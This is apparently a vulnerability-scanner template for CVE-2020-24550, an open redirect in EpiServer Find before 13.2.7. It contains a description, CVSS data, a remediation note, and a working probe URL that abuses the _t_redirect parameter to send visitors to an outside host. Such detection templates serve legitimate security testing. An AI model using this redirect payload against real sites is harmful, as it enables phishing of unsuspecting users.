EpiServer Find before 13.2.7 contains an open redirect vulnerability via the _t_redirect parameter in a crafted URL, such as a /find_v2/_click URL. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
PoC代码[已公开]
id: CVE-2020-24550
info:
name: EpiServer Find <13.2.7 - Open Redirect
author: dhiyaneshDK
severity: medium
description: EpiServer Find before 13.2.7 contains an open redirect vulnerability via the _t_redirect parameter in a crafted URL, such as a /find_v2/_click URL. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
remediation: |
Upgrade to EpiServer Find version 13.2.7 or later to fix the open redirect vulnerability.
reference:
- https://labs.nettitude.com/blog/cve-2020-24550-open-redirect-in-episerver-find/
- https://nvd.nist.gov/vuln/detail/CVE-2020-24550
- https://github.com/anonymous364872/Rapier_Tool
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Elsfa7-110/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-24550
cwe-id: CWE-601
epss-score: 0.51164
epss-percentile: 0.97804
cpe: cpe:2.3:a:episerver:find:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: episerver
product: find
tags: cve,cve2020,redirect,episerver
http:
- method: GET
path:
- '{{BaseURL}}/find_v2/_click?_t_id=&_t_q=&_t_hit.id=&_t_redirect=https://interact.sh'
matchers-condition: and
matchers:
- type: word
part: header
words:
- "Location: https://interact.sh"
- type: status
status:
- 301
# digest: 4b0a00483046022100bcd8f90733ce43b63d37d8c3db5fc1854eacafcad0b2ad43370f2c5150c303b8022100e70beb2f038cf5b064f8c4fa366fb7b8b78829a9b6da59a809b6942cd7fd27bc:922c64590222798bb761d5b6d8e72950